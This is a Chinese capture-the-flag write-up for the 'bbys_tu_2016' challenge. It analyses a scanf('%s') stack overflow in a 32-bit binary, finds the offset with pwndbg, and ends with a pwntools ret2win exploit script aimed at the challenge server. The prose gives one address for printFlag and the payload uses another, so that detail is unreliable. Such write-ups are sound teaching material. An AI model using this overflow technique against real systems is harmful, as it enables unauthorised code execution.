bbys_tu_2016

准备


32位,开了NX保护

分析

main函数

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+14h] [ebp-Ch] BYREF

puts("This program is hungry. You should feed it.");
__isoc99_scanf("%s", &v4);
puts("Do you feel the flow?");
return 0;
}

使用 __isoc99_scanf("%s", &v4) 读取用户输入到 v4。但v4 是一个 int 类型,占 4 字节, 而__isoc99_scanf("%s") 可以读取任意长度的字符串,直到遇到空格或换行。所以当我们写入超过4字节时,会造成缓冲区溢出

printFlag函数(后门函数)

1
2
3
4
5
6
7
8
9
10
11
int printFlag()
{
char s[50]; // [esp+1Ah] [ebp-3Eh] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("flag.txt", "r");
fgets(s, 50, stream);
puts(s);
fflush(stdout);
return fclose(stream);
}

这里直接打开 flag.txt 文件,读取前 50 字节内容到栈上的 s,并且用 puts 打印出来

思路:

这题有栈溢出,并且printFlag函数他会直接输出flag,所以就是简单32位栈溢出题
先通过gdb获得偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
motaly@motaly-VMware-Virtual-Platform:~$ gdb 2016
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from 2016...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in 2016)
------- tip of the day (disable with set show-tips off) -------
Calling functions like call (void)puts("hello world") will run all other target threads for the time the function runs. Use set scheduler-locking on to lock the execution to current thread when calling functions
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> r
Starting program: /home/motaly/2016
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
This program is hungry. You should feed it.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Do you feel the flow?

Program received signal SIGSEGV, Segmentation fault.
0x61616167 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────
EAX 0
EBX 0xf7fa3e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
ECX 0xf7fa58a0 (_IO_stdfile_1_lock) ◂— 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x8048610 (__libc_csu_init) ◂— push ebp
EBP 0x61616166 ('faaa')
ESP 0xffffc960 ◂— 'haaaiaaajaaakaaalaaama'
EIP 0x61616167 ('gaaa')
──────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────────────────
Invalid address 0x61616167










───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffc960 ◂— 'haaaiaaajaaakaaalaaama'
01:0004│ 0xffffc964 ◂— 'iaaajaaakaaalaaama'
02:0008│ 0xffffc968 ◂— 'jaaakaaalaaama'
03:000c│ 0xffffc96c ◂— 'kaaalaaama'
04:0010│ 0xffffc970 ◂— 'laaama'
05:0014│ 0xffffc974 ◂— 0x800616d /* 'ma' */
06:0018│ 0xffffc978 ◂— 1
07:001c│ 0xffffc97c —▸ 0xffffca14 —▸ 0xffffcc14 ◂— '/home/motaly/2016'
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
► 0 0x61616167 None
1 0x61616168 None
2 0x61616169 None
3 0x6161616a None
4 0x6161616b None
5 0x6161616c None
6 0x800616d None
7 0x1 None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x61616167
Finding cyclic pattern of 4 bytes: b'gaaa' (hex: 0x67616161)
Found at offset 24

偏移量为24
然后通过ida查看printFlag后门函数的地址

得到printFlag后门函数的地址为0x80485C9
根据这两个信息直接构造payload,先填充,再返回地址

1
2
3
sh=0x804856D
payload=b'a'*24+p32(sh)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
from pwn import *
context.arch = 'i386'
io = remote('node5.buuoj.cn',25684)
# io= process('/home/motaly/2016')
sh=0x804856D
payload=b'a'*24+p32(sh)
io.sendline(payload)
io.interactive()